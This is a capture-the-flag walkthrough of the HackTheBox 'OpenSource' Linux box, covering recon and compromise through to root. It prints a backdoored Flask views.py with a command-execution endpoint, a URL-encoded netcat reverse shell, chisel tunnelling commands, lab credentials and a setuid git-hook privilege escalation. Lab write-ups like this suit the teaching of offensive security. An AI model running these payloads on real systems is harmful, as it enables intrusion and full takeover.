OpenSource
An easy Linux box from HackTheBox, using a file overwrite to get initial access, then chisel to get access to a service running on localhost, and then root via git GTFObins.
OpenSource
Recon
Just from the name opensource, probably gonna be some code review
Running the default nmap
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-26 10:54 EDT
Nmap scan report for 10.10.11.164
Host is up (0.016s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 1e:59:05:7c:a9:58:c9:23:90:0f:75:23:82:3d:05:5f (RSA)
| 256 48:a8:53:e7:e0:08:aa:1d:96:86:52:bb:88:56:a0:b7 (ECDSA)
|_ 256 02:1f:97:9e:3c:8e:7a:1c:7c:af:9d:5a:25:4b:b8:c8 (ED25519)
80/tcp open http Werkzeug/2.1.2 Python/3.10.3
|_http-title: upcloud - Upload files for Free!
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.1.2 Python/3.10.3
| Date: Thu, 26 May 2022 14:54:44 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 5316
| Connection: close
See that the server is running Python, with Werkzeug - searchsploit doesn’t return anything for Werkzeug
Looking at port 80, theres a site describing an open source upload app that cleans up the filename on the redirect, but not on the save
Downloading the source code can also enumerate that the site is using Flask, find that there is a restriction on path traversal that recursively gets rid of “../” that is used in the app for every upload - so no LFI
def recursive_replace(search, replace_me, with_me):
if replace_me not in search:
return search
return recursive_replace(search.replace(replace_me, with_me), replace_me, with_me)
But no checks for overwriting existing files, marked “todo”, and the function isn’t used at all
TODO: get unique filename
"""
def get_unique_upload_name(unsafe_filename):
spl = unsafe_filename.rsplit("\\.", 1)
file_name = spl[0]
file_extension = spl[1]
return recursive_replace(file_name, "../", "") + "_" + str(current_milli_time()) + "." + file_extension
"""
Can probably overwrite the routing file, and add a route that allows you to execute arbitrary code via a cmd() function on a new /exec endpoint
Exploitation
Upload a custom views.py, consisting of the original endpoints, plus a custom one that allows you to execute code as “/exec”
import os
from app.utils import get_file_name
from flask import render_template, request, send_file
from app import app
@app.route('/', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
f = request.files['file']
file_name = get_file_name(f.filename)
file_path = os.path.join(os.getcwd(), "public", "uploads", file_name)
f.save(file_path)
return render_template('success.html', file_url=request.host_url + "uploads/" + file_name)
return render_template('upload.html')
@app.route('/uploads/<path:path>')
def send_report(path):
path = get_file_name(path)
return send_file(os.path.join(os.getcwd(), "public", "uploads", path))
@app.route('/exec')
def cmd():
return os.system(request.args.get('cmd'))
And upload it with a “..//app/app/views.py” as the file name, to overwrite the existing one
Now can execute commands with
10.10.11.164/exec?cmd={command}
And can get reverse shell with
10.10.11.164/exec?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.14.8%201234%20%3E%2Ftmp%2Ff
With the shell, can see it’s a docker container, since in the root directory there is a .dockerenv file
/ # ls -a
%00
.
..
.dockerenv
app
bin
.....etc
From the docker container, can see the IP is 172.17.0.2, naturally assume the host is 172.17.0.1
So to scan if there is anything open on the host, we need to setup a proxy and run a scan
For the proxy will be using chisel
Downloading the executable files from the releases page here
Since the container is sequestered and not open on the internet, we want to set up a reverse tunnel
When to use remote port forwarding?
Exposing service running in localhost of a server behind NAT to the internet
Consider the scenario below. The client runs a web server on port 3000 but cannot expose this web server to the public internet as the client machine is behind NAT. The remote server, on the other hand, can be reachable via the internet. The client can SSH into this remote server. In this situation, how can the client expose the webserver on port 3000 to the internet? Via reverse SSH tunnel!
Also known as dynamic tunneling, or SSH SOCKS5 proxy, dynamic port forwarding allows you to specify a connect port that will forward every incoming traffic to the remote server dynamically.
To set up reverse port forwarding, get chisel on the docker container and on kali
On the victim run the client
./chisel client 10.10.14.8:6969 R:socks
And on the local machine run the server
chisel server --reverse --port 6969
MAKE SURE TO ADD sock5 127.0.0.1 1080 entry to /etc/proxychains4.conf
Then can run programs like so to discover more open ports on the host
proxychains nmap 172.17.0.1
And find a service on port 3000 that we can navigate to through ProxyFoxy - by making a new proxy using SOCK5 in the options
Register etc. on GitTea, find a user aswell
When git diff’ing the repo that we downloaded, find some creds
dev01:Soulless_Developer#2022
Can try to sign in on gitea with them, and find that he backed up the entire home directory, including private rsa keys
Copy them and proxychain ssh into his box
proxychains ssh -i id_rsa dev01@172.17.0.1
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.15
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.17.0.1:22 ... OK
The authenticity of host '172.17.0.1 (172.17.0.1)' can't be established.
ED25519 key fingerprint is SHA256:LbyqaUq6KgLagQJpfh7gPPdQG/iA2K4KjYGj0k9BMXk.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.17.0.1' (ED25519) to the list of known hosts.
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-176-generic x86_64)
Last login: Mon May 16 13:13:33 2022 from 10.10.14.23
dev01@opensource:~$
We’re in!
Lets run linpeas.sh - it says it found some exploits but they don’t work unfortunately, all been patched
Instead can run pspy to look for active running processes
And see git runing without any arguments, and can use a pre-execution script to get code exec as root
Creating a script with
#!/bin/bash
chmod u+s bash
And then put it into /home/dev01/.git/hooks/pre-commit
And then rename the file to pre-commit
Wait for it to run, and get root!